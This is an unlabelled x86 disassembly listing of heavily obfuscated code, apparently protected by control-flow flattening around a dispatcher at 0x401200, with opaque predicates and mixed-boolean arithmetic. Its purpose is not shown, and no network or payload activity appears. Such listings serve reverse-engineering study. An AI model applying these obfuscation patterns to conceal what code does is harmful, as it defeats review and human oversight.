xor eax, 0x1000508a
xor ecx, 0x68222021
and ecx, 0xe8f22c71
and eax, 0x170dd38e
or eax, ecx
xor eax, 0x170dd38e
sete dl
setne ah
cmp dword [0x48f780], 0xa
setl al
setge ch
mov cl, al
and al, ah
and ah, ch
and cl, dl
and dl, ch
or al, dl
or cl, ah
mov ah, al
xor cl, 1
xor ah, 1
or cl, ch
mov ch, al
mov dl, ah
xor ah, cl
and dl, al
xor dl, 1
xor ch, dl
or dl, al
xor dl, 1
or dl, ch
mov ch, dl
xor dl, 1
and dl, cl
xor cl, 1
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x3f05baeb
cmovne ecx, esi
test al, 1
mov eax, 0x3f05baeb
jmp 0x4011f2
mov eax, 0xe419eb23
jmp 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0xfffffffe
andn edx, eax, edx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0x4b6733b4
mov esi, eax
and esi, 0xb498cc4b
or edx, esi
mov esi, ecx
not esi
and ecx, 0x4b6733b4
or eax, esi
and esi, 0xb498cc4b
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 0xfe28b25d
mov edx, eax
not edx
and ecx, eax
or eax, 0x1d74da2
and edx, 0x92280215
mov esi, eax
and esi, 0x6cc5b168
or edx, esi
mov esi, ecx
not esi
and ecx, 0x933a4e97
or eax, esi
and esi, 0x6cc5b168
or ecx, esi
not eax
mov esi, 0xbba91d44
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x8208161f
and ecx, 0x7df7e9e0
or eax, ecx
mov ecx, eax
xor ecx, 0x74002002
xor eax, 0x83df5bbd
mov edx, eax
and edx, 0x9329d54
and ecx, 0xf6cd62ab
or ecx, edx
xor ecx, 0xf6cd62ab
or ecx, eax
xor ecx, 0xffffffff
sete ch
setne ah
cmp dword [0x48f780], 0xa
setge cl
setl dl
mov al, cl
and ch, cl
and dl, ah
inc al
or dl, ch
and al, ah
or al, ch
mov ch, cl
or cl, ah
xor ch, ah
xor cl, 1
xor al, 1
or cl, ch
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x2235058d
cmovne eax, esi
test dl, 1
mov edx, 0x2235058d
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401200
mov eax, dword [0x48f784]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0xb0905511
and edx, 0x4f6faaee
mov edi, ecx
not edi
and ecx, 0x1a7b81d9
or eax, edx
mov edx, eax
xor edx, 0x10100111
xor eax, 0x4f6faaee
mov esi, eax
or eax, edi
and edi, 0xe5847e26
and esi, 0xe5847e26
and edx, 0x1a7b81d9
or edx, esi
or ecx, edi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xf10ce8cc
and eax, 0xef31733
or eax, edx
xor eax, 0xef31732
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x312360ec
and ecx, 0xcedc9f13
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x3dbf675e
and ecx, 0xc24098a1
or eax, ecx
mov ecx, eax
xor ecx, 0x2632800
xor eax, 0xc8805a0
and eax, 0xfd88d5ed
and ecx, 0x2772a12
or ecx, eax
mov eax, ecx
xor eax, 0x2522010
xor ecx, 0x3988d5e1
and ecx, 0x39addfe3
and eax, 0xc652201c
or eax, ecx
xor eax, 0xc652201c
setne dl
sete cl
cmp dword [0x48f780], 0xa
setl ah
mov al, ah
or dl, ah
or al, cl
xor cl, ah
xor al, 1
or al, cl
and cl, ah
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or dl, al
or cl, ah
xor cl, al
mov eax, 0xf3f5fe1f
mov ch, cl
xor ch, dl
test dl, 1
mov edx, 0x766f2af6
cmovne eax, edx
test cl, 1
not ch
cmovne eax, edx
test ch, 1
mov edx, 0xf3f5fe1f
cmove eax, edx
jmp 0x401200
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
mov eax, ecx
xor eax, 0xfffffffe
not esi
mov edx, esi
and eax, ecx
and edx, 0xfffffffe
and esi, 0xb4a9ea79
and ecx, 0x4b561586
or eax, edx
or ecx, esi
mov edx, eax
not edx
and eax, 0x423ebb9f
and edx, 0xbdc14460
or eax, edx
mov edx, eax
xor edx, 0x40041a93
xor eax, 0xbdc14460
mov esi, eax
and esi, 0x9ebbe12c
and edx, 0x61441ed3
or edx, esi
mov esi, ecx
xor esi, 0x41441482
xor ecx, 0xb4a9ea79
or eax, ecx
and ecx, 0x9ebbe12c
and esi, 0x61441ed3
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x1aac22cb
cmp eax, 0xffffffff
setne dl
cmp dword [0x48f780], 0xa
mov ch, dl
setge al
setl ah
inc ch
mov cl, al
or ah, ch
xor cl, ch
or ch, al
xor ah, 1
not cl
and cl, al
xor al, dl
xor cl, 1
or al, ah
mov dh, cl
or cl, ch
xor dh, ch
xor cl, 1
or cl, dh
mov ah, cl
mov ch, cl
xor ah, 1
mov dl, ah
or ah, al
and dl, cl
xor dl, 1
xor ch, dl
or dl, cl
xor dl, 1
or dl, ch
mov ecx, edx
xor cl, 1
and cl, al
xor al, 1
and dl, al
mov al, ah
or dl, cl
mov ecx, 0xd8c21ec3
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0xd8c21ec3
jmp 0x4011f2
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
not eax
mov esi, eax
or esi, 0xb6131e4a
mov edx, eax
and edx, 0xb6131e4a
mov ecx, esi
not ecx
and esi, 0x49ece1b4
or ecx, edx
and ecx, 0xb6131e4b
or ecx, esi
mov esi, 0x2ae2357c
not ecx
or ecx, eax
xor ecx, 0xffffffff
setne dl
sete ah
cmp dword [0x48f780], 0xa
setl cl
setge al
and ah, al
and cl, dl
or cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, 1
xor al, 1
or al, cl
mov ah, al
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x5ce933c7
cmovne ecx, esi
test al, al
mov esi, 0x5ce933c7
jmp 0x4116b7
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
or esi, 0x4c918313
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xa24c6ca8
and ecx, eax
and esi, 0x6e91ab13
and edx, 0x804c44a8
or edx, esi
mov esi, ecx
not esi
and ecx, 0x916e54ec
or eax, esi
and esi, 0x6e91ab13
or ecx, esi
not eax
mov esi, 0xfdb2d433
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x5db39357
and eax, 0xa24c6ca8
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0xba4f852d
and edx, 0xfffffffe
and ecx, 0x45b07ad2
or eax, ecx
xor eax, 0xba4f852c
or eax, edx
mov ecx, eax
not ecx
and eax, 0xb43e76c
and ecx, 0xf4bc1893
or ecx, eax
xor ecx, 0xb43e76c
setne al
sete dl
cmp dword [0x48f780], 0xa
setl cl
setge ah
and al, cl
or cl, dl
and ah, dl
or al, ah
xor cl, 1
or cl, al
xor al, 1
mov edx, eax
or al, cl
xor dl, cl
mov ecx, eax
xor cl, dl
mov ecx, 0x97d9ec61
cmovne ecx, esi
test al, al
mov eax, 0x97d9ec61
cmovne eax, ecx
test dl, dl
cmove eax, ecx
jmp 0x401200
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x3c]
mov esi, 0xd2a0a6cd
vmovsd xmm0, qword [eax + 0x88]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x3c]
cmp dword [eax + 4], 0
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
setne byte [ebp - 0xa4]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x781d8181
and eax, 0x87e27e7e
or ecx, eax
mov eax, ecx
xor eax, 0x40190081
xor ecx, 0x80e0301c
and ecx, 0xb8e4b11c
and eax, 0x471b4ee3
or eax, ecx
mov ecx, eax
xor eax, 0x471b4ee2
xor ecx, 0xb8e4b11c
mov edx, ecx
and eax, 0xfffffffe
and ecx, 1
and edx, 0xfffffffe
or ecx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xea5f147d
and eax, 0x15a0eb82
or eax, ecx
xor eax, 0xea5f147d
sete cl
setne ah
cmp dword [0x48f780], 0xa
setl al
setge dl
xor al, cl
or dl, ah
mov ah, al
mov ecx, eax
xor dl, 1
xor ah, 1
and cl, ah
xor cl, 1
or cl, ah
mov ah, dl
xor cl, 1
xor ah, al
or cl, al
or al, dl
xor al, 1
xor cl, dl
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xbccb5e80
cmovne edx, esi
test al, al
mov eax, 0xbccb5e80
cmovne eax, edx
test cl, 1
cmove eax, edx
jmp 0x401200
mov eax, 0xbe085f39
jmp 0x401200
mov eax, 0xf1939ccc
jmp 0x401200
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x208]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov dword [eax], 0
mov eax, 0x9edec554
jmp 0x401200
mov eax, dword [ebp - 0x1a8]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x1ac], eax
mov eax, 0xcbb4b09a
mov ecx, dword [ebp - 0x1ac]
mov dword [ebp - 0x11c], ecx
jmp 0x401200
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
mov eax, dword [0x48f784]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xdefc8d26
mov eax, edx
and eax, 0x6380924
and ecx, edx
not edx
and edx, 0xd8c48402
or eax, edx
mov edx, eax
xor edx, 0x4180120
xor eax, 0xf9c7f6db
mov esi, eax
and esi, 0x1be0cc04
and edx, 0xc41c0122
or edx, esi
mov esi, ecx
not esi
and ecx, 0xe41f33fb
or eax, esi
and esi, 0x1be0cc04
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xdefc8d26
and ecx, 0x210372d9
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0x833b4062
and eax, 0x7cc4bf9d
or eax, edx
xor eax, 0x7cc4bf9c
or eax, ecx
mov ecx, eax
xor ecx, 0x81972401
mov edx, eax
and edx, 0xe837db37
and ecx, eax
not eax
and eax, 0x17c824c8
or edx, eax
mov esi, edx
mov eax, edx
xor esi, 0x80150000
or edx, 0x5600482e
xor eax, 0x1802400
and edx, 0x5602482f
and esi, 0x81952400
or esi, edx
mov edx, ecx
not edx
and ecx, 0xa9fdb7d0
or eax, edx
and edx, 0x5602482f
or ecx, edx
not eax
xor ecx, esi
or eax, ecx
not ecx
and ecx, 0x7e68dbfe
and eax, 0x81972401
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xfe05a46f
mov edx, ecx
and edx, 0x1fa5b90
or eax, edx
xor eax, 0xfe05a46f
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x48f780], 0xa
mov ch, al
setl ah
setge dl
or dl, al
xor al, ah
or ch, ah
not al
mov cl, dl
and al, ah
xor cl, 1
xor al, 1
and dl, cl
mov ah, al
or al, ch
xor dl, 1
xor ah, ch
xor al, 1
mov ch, cl
or al, ah
xor ch, dl
or dl, cl
mov ah, al
xor dl, 1
xor ah, 1
or dl, ch
mov ch, ah
and ch, al
xor ah, ch
xor ch, 1
or ch, al
xor ch, 1
or ch, ah
xor ch, dl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov edx, 0x8996f6dd
mov cl, al
xor cl, ch
test al, 1
mov eax, 0x96fbf044
cmovne eax, edx
test ch, 1
cmove eax, edx
test cl, 1
mov edx, 0x96fbf044
cmove eax, edx
jmp 0x401200
mov eax, 0x14e07428
jmp 0x401200
mov eax, dword [ebp - 0x38]
mov dword [eax], 5
mov eax, 0xbf7f05dd
jmp 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x7e56486b
or eax, 0x5d81bb00
mov esi, ecx
and esi, 0x81a9b794
and eax, 0x5d81bb01
or edx, esi
mov esi, edx
xor esi, 0x2256406a
xor edx, 0x181b300
and edx, 0x5d81bb00
and esi, 0xa27e44fe
or esi, edx
xor eax, esi
mov esi, 0x9baf56bf
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x82d76ddf
and ecx, 0x7d289220
or eax, ecx
xor eax, 0x82d76ddf
sete al
setne dl
cmp dword [0x48f780], 0xa
setl cl
setge ah
and cl, al
and dl, ah
xor al, ah
or cl, dl
xor cl, 1
or cl, ah
mov ah, al
mov edx, ecx
not ah
not dl
and ah, cl
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xe3e290c6
cmovne eax, esi
test dl, dl
mov edx, 0xe3e290c6
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401200
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xe53a0343
mov eax, ecx
not eax
and edx, ecx
or ecx, 0x1ac5fcbc
mov esi, eax
and esi, 0x21180041
mov edi, ecx
and edi, 0xc6e2c38a
or esi, edi
mov edi, edx
not edi
and edx, 0x391d3c75
or ecx, edi
and edi, 0xc6e2c38a
or edx, edi
not ecx
xor edx, esi
mov esi, 0xde625afb
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x8760c31
and edx, 0xf789f3ce
or ecx, edx
mov edx, ecx
xor edx, 0x88040e53
xor ecx, 0x2006008
and ecx, 0x67486128
and edx, 0x98b79ed7
or edx, ecx
xor edx, 0x98b79ed7
or edx, eax
xor edx, 0xffffffff
setne cl
sete ah
cmp dword [0x48f780], 0xa
setge al
setl dl
mov ch, al
mov dh, dl
xor ch, ah
or dh, cl
and ch, al
and al, ah
xor ah, dl
and ah, cl
and cl, dl
xor ch, 1
xor ah, 1
or al, cl
mov cl, ch
mov bl, ah
or ah, dh
xor al, 1
xor bl, dh
xor ah, 1
xor cl, al
or al, ch
or ah, bl
xor al, 1
mov dl, ah
or al, cl
mov cl, ah
xor dl, 1
and cl, dl
xor cl, 1
or cl, dl
or dl, al
xor cl, 1
or cl, ah
mov ah, cl
and cl, al
xor al, 1
xor ah, 1
and ah, al
mov al, dl
or cl, ah
xor al, cl
test dl, 1
mov edx, 0x66d78b36
cmovne edx, esi
test cl, 1
cmove edx, esi
test al, 1
mov eax, 0x66d78b36
cmove edx, eax
mov eax, edx
jmp 0x401200
mov eax, dword [ebp - 0x1fc]
mov ecx, dword [ebp - 0x200]
mov edx, dword [ebp - 0x1f8]
mov dword [ecx + eax], edx
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0xd4]
mov eax, 0x9fd5b08a
jmp 0x401200
mov eax, dword [ebp - 0x48]
mov dword [eax], 4
mov eax, 0xb6644d1a
jmp 0x401200
cmp byte [ebp - 0xb1], 0
mov eax, 0xbd666eb0
mov ecx, 0x3af619e4
cmovne eax, ecx
jmp 0x401200
mov eax, dword [0x48f784]
mov esi, 0xf180bfd8
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x21e22002
and edx, 0x800048e4
or eax, edx
mov edx, ecx
xor edx, 0xa1e268e6
xor eax, 0x21e22002
and edx, ecx
or eax, edx
not edx
and edx, 0x5e1d9718
and eax, 0xa1e268e7
or eax, edx
mov edx, eax
not edx
and eax, ecx
andn ecx, ecx, edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
setne al
sete cl
cmp dword [0x48f780], 0xa
setl dl
mov ah, dl
xor al, dl
xor ah, cl
or cl, dl
mov edx, eax
xor cl, 1
not dl
or cl, ah
and dl, cl
xor cl, 1
mov ch, cl
xor ch, al
and al, cl
and ch, cl
or al, dl
mov edx, 0x3580986d
mov cl, ch
xor cl, al
test al, al
mov eax, 0xf180bfd8
cmovne eax, edx
test ch, ch
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x401200
mov eax, 0xc8f6c452
jmp 0x401200
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x4de3a4c6
mov edx, eax
and edx, 0xb21c5b39
and eax, 0x575e5cd4
or esi, edx
mov edx, esi
not edx
and esi, 0x18290459
and edx, 0xe7d6fba6
or esi, edx
mov edx, esi
xor esi, 0x554a0094
xor edx, 0xaa355f61
mov edi, edx
or edx, ecx
and ecx, 0xa8a1a32b
and edi, 0xa8a1a32b
and esi, 0x575e5cd4
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0x8fc7001b
or edx, eax
mov eax, edx
not eax
and edx, 0xe6663ac4
and eax, 0x1999c53b
or edx, eax
xor edx, 0xe6663ac4
setne cl
sete ah
cmp dword [0x48f780], 0xa
setge al
setl ch
mov edx, eax
and ch, cl
xor dl, ah
and dl, al
and al, ah
or al, ch
mov ah, dl
mov ecx, eax
xor ah, 1
xor dl, al
xor cl, 1
or cl, ah
xor cl, 1
or cl, dl
mov edx, eax
xor cl, 1
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x5ddd1b27
cmovne eax, esi
test cl, 1
mov ecx, 0x5ddd1b27
cmovne ecx, eax
test dl, 1
cmove ecx, eax
mov eax, ecx
jmp 0x401200
mov eax, dword [ebp - 0xd4]
mov eax, 0xe6da5c3d
jmp 0x401200
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8]
mov dword [ebp - 0x188], eax
mov eax, 0xaa37a845
jmp 0x401200
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x170]
mov dword [eax], ecx
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x26593082
mov edx, ecx
and edx, 0x1028309
and ecx, 0xd8a44c74
or eax, edx
xor eax, 0x26593082
or ecx, eax
mov esi, ecx
not esi
mov edx, ecx
and edx, 1
and ecx, 0x4b228184
mov eax, esi
and esi, 0xfffffffe
or eax, 1
or edx, esi
mov esi, eax
and esi, 0xb4dd7e7a
or ecx, esi
mov esi, edx
not esi
and edx, 0x4b228185
or eax, esi
and esi, 0xb4dd7e7a
or edx, esi
not eax
mov esi, 0xf6305c8e
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x4d807111
and ecx, 0xb27f8eee
or eax, ecx
mov ecx, eax
xor ecx, 0x1004000
xor eax, 0x9044006e
and eax, 0xdcc4317f
and ecx, 0x233bce80
or ecx, eax
xor ecx, 0xdcc4317f
setne ah
sete ch
cmp dword [0x48f780], 0xa
mov al, ah
setge cl
setl dl
xor al, cl
mov dh, cl
and ah, dl
and cl, ch
or dl, ch
and al, ch
or dh, ch
or cl, ah
xor al, 1
xor cl, 1
mov ebx, eax
or al, dh
mov ah, cl
or cl, dl
xor bl, dh
xor al, 1
xor ah, dl
xor cl, 1
or al, bl
or cl, ah
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or dl, cl
or al, ah
xor al, cl
mov ecx, eax
xor cl, dl
not cl
test cl, 1
mov ecx, 0xc8a28590
cmovne ecx, esi
test dl, 1
mov edx, 0xc8a28590
cmovne edx, ecx
test al, 1
cmovne edx, ecx
mov eax, edx
jmp 0x401200
mov eax, dword [ebp - 0x138]
cmp eax, dword [ebp - 0x13c]
mov eax, dword [0x48f784]
lea edx, [eax + 1]
setl byte [ebp - 0xa7]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x85a89b93
and edx, 0x7a57646c
or eax, edx
mov edx, eax
xor edx, 0x84280b01
xor eax, 0x7a57646c
mov esi, eax
and esi, 0x63d190fe
and edx, 0x9c2e6f01
or edx, esi
mov esi, ecx
not esi
and ecx, 0x9c2e6f01
or eax, esi
and esi, 0x63d190fe
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov edx, eax
xor edx, 1
mov ecx, eax
not ecx
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0xc57f3256
mov esi, ecx
and esi, 0x3a80cda9
or edx, esi
mov esi, eax
not esi
and eax, 0xc57f3256
or ecx, esi
and esi, 0x3a80cda9
or eax, esi
not ecx
mov esi, 0xfc54af0
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xd7d26832
and eax, 0x282d97cd
or ecx, eax
mov eax, ecx
xor eax, 0x93c22032
xor ecx, 0x200705
and ecx, 0x44304f05
and eax, 0xbbcfb0fa
or eax, ecx
mov ecx, eax
xor ecx, 0x44300601
xor eax, 0xbbcfb0fa
mov edx, eax
and edx, 0x88159bc
and ecx, 0xf77ea643
or ecx, edx
xor ecx, 0x88159bc
xor eax, ecx
test eax, ecx
setne dh
sete ah
cmp dword [0x48f780], 0xa
mov cl, dh
setge dl
setl ch
mov al, dl
or cl, ch
or al, ah
xor cl, 1
xor al, 1
or al, cl
mov cl, dl
or dl, dh
and dh, ch
xor ch, ah
and cl, ah
xor dl, 1
or cl, dh
or dl, ch
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov edx, ecx
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xb5714040
cmovne ecx, esi
test al, 1
mov eax, 0xb5714040
jmp 0x4011f2
mov eax, 0x4f9c5995
jmp 0x401200
mov eax, dword [ebp - 0xc4]
vxorps xmm0, xmm0, xmm0
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0xc4]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
mov eax, 0x913e767b
jmp 0x401200
mov eax, dword [ebp - 0xd4]
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov edi, eax
and edi, 0x90082
mov esi, eax
and esi, 0xf5f6cd74
and eax, 0x72876d8a
mov ecx, edx
and ecx, 0xa003209
and edx, 0x8d789275
or edi, ecx
or eax, edx
xor edi, 0x90082
or esi, edi
mov ecx, esi
not ecx
and esi, 0x255b114d
and ecx, 0xdaa4eeb2
or esi, ecx
mov ecx, esi
xor ecx, 0x2d522146
xor esi, 0x50018838
and esi, 0x52018ab9
and ecx, 0xadfe7546
or ecx, esi
mov esi, ecx
xor esi, 0x8d2a5046
xor ecx, 0x52018ab9
mov edx, ecx
and edx, 0x70d52790
and esi, 0x8f2ad86f
or esi, edx
mov edx, eax
xor edx, 0x202480a
xor eax, 0x8d789275
or ecx, eax
and eax, 0x70d52790
and edx, 0x8f2ad86f
or edx, eax
not ecx
xor edx, esi
mov esi, 0xad557a39
or ecx, edx
xor ecx, 0xffffffff
sete cl
setne al
cmp dword [0x48f780], 0xa
setge dl
setl ah
and ah, al
mov al, dl
and al, cl
xor cl, dl
and dl, cl
xor cl, 1
or al, ah
or cl, dl
mov edx, ecx
mov ah, cl
not dl
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
mov ecx, eax
xor dl, 1
xor cl, 1
or dl, ah
mov ah, al
and cl, dl
xor dl, 1
xor ah, dl
and dl, al
or dl, cl
and ah, al
mov ecx, 0x27b68544
mov al, dl
xor al, ah
test dl, dl
mov edx, 0x27b68544
cmovne ecx, esi
test ah, ah
cmove ecx, edx
test al, 1
cmovne ecx, esi
mov eax, ecx
jmp 0x401200
mov eax, dword [ebp - 0x104]
mov eax, dword [ebp - 0x104]
mov eax, 0x2dbe5ce
jmp 0x401200
mov eax, dword [ebp - 0x68]
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xb898a818
mov esi, ecx
and esi, 0x476757e6
and ecx, 0xb01728d4
or edx, esi
mov esi, edx
xor esi, 0xa8082008
xor edx, 0x4445420
and edx, 0x14d4dc30
and esi, 0xeb2b23ce
or esi, edx
mov edx, eax
or edx, 0x14d4dc30
and eax, 0x4fe8d72b
and edx, 0x14d4dc31
or eax, ecx
mov ecx, eax
xor edx, esi
xor ecx, 0x4fe8d72b
xor eax, 0xb01728d4
mov esi, 0x160ae0d0
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
xor edx, eax
test edx, eax
setne dl
sete ah
cmp dword [0x48f780], 0xa
mov ecx, edx
setl ch
setge al
or dl, ch
and cl, al
and ch, ah
or ch, cl
mov cl, ch
xor cl, al
or al, ah
mov ah, al
or al, dl
and cl, ch
xor ah, dl
xor al, 1
xor cl, 1
or al, ah
mov edx, ecx
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xf99d3748
cmovne ecx, esi
test al, 1
mov esi, 0xf99d3748
mov eax, ecx
cmovne eax, esi
jmp 0x4119a7
cmp byte [ebp - 0xa4], 0
mov eax, 0xbf4896e3
mov ecx, 0xbf93683e
cmovne eax, ecx
jmp 0x401200
mov eax, dword [ebp - 0x148]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x88]
add eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x30]
mov edx, dword [edx]
lea edx, [edx + edx*4]
push dword [ecx + edx*8 + 0x10]
push eax
push dword [ebp - 0x144]
vzeroupper
call fcn.004326e0
add esp, 0xc
mov eax, 0xf3f5fe1f
jmp 0x401200
mov eax, dword [ebp - 0x58]
mov eax, 0xd33e47cf
jmp 0x401200
mov eax, dword [ebp - 0x1ec]
mov ecx, dword [ebp - 0x1f0]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0xc]
mov dword [ebp - 0xe8], eax
mov eax, 0x38f74d19
jmp 0x401200
mov eax, 0x55040a84
jmp 0x401200
mov eax, dword [0x48f784]
lea esi, [eax + 1]
imul esi, eax
mov edx, esi
mov ecx, esi
xor ecx, 0x76fe6db7
mov eax, esi
not edx
or eax, 0x89019248
and ecx, esi
mov esi, eax
and esi, 0xd9a6428d
and edx, 0x26582d32
or edx, esi
mov esi, ecx
not esi
and ecx, 0x2659bd72
or eax, esi
and esi, 0xd9a6428d
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x56d0a252
and ecx, 0xa92f5dad
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0x240d41
xor esi, 0xdfd1301a
xor eax, 0x2000c780
mov ecx, esi
or ecx, 1
and esi, 0xe59bd2b6
and edx, 0x1a642d49
and eax, 0x6d01f788
or edx, esi
mov esi, ecx
and esi, 0x92fe0876
or eax, esi
mov esi, edx
xor esi, 0x8002508
xor edx, 0xe59bd2b7
or ecx, edx
and edx, 0x92fe0876
and esi, 0x6d01f789
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, 0x6538524a
cmp ecx, 0xffffffff
setne cl
cmp dword [0x48f780], 0xa
mov eax, ecx
setge dl
or al, dl
xor dl, cl
mov ecx, edx
mov ah, al
and dl, al
xor cl, 1
not ah
or al, cl
and cl, ah
or cl, dl
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0x5349f956
cmovne ecx, esi
test al, al
mov eax, 0x5349f956
cmovne ecx, eax
test dl, dl
cmove ecx, esi
mov eax, ecx
jmp 0x401200
mov eax, dword [ebp - 0x30]
mov eax, 0x71ef96a7
jmp 0x401200
mov eax, 0x2e0ea9fb
jmp 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xa2522102
and eax, 0x1129da5d
and ecx, 0x4c8404a0
or edx, ecx
xor edx, 0xa2522102
or eax, edx
mov ecx, eax
not ecx
and eax, 0x75652833
and ecx, 0x8a9ad7cc
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0x4cb264
xor edx, 0x9bb30d91
xor ecx, 0x9bb30d90
and ecx, edx
and eax, 0x187fb264
and edx, 0xe7804d9b
or edx, eax
mov eax, ecx
not eax
and ecx, 0x3811d06a
mov esi, eax
and esi, 0xc7ee2f95
or ecx, esi
mov esi, edx
xor esi, 0x2000400a
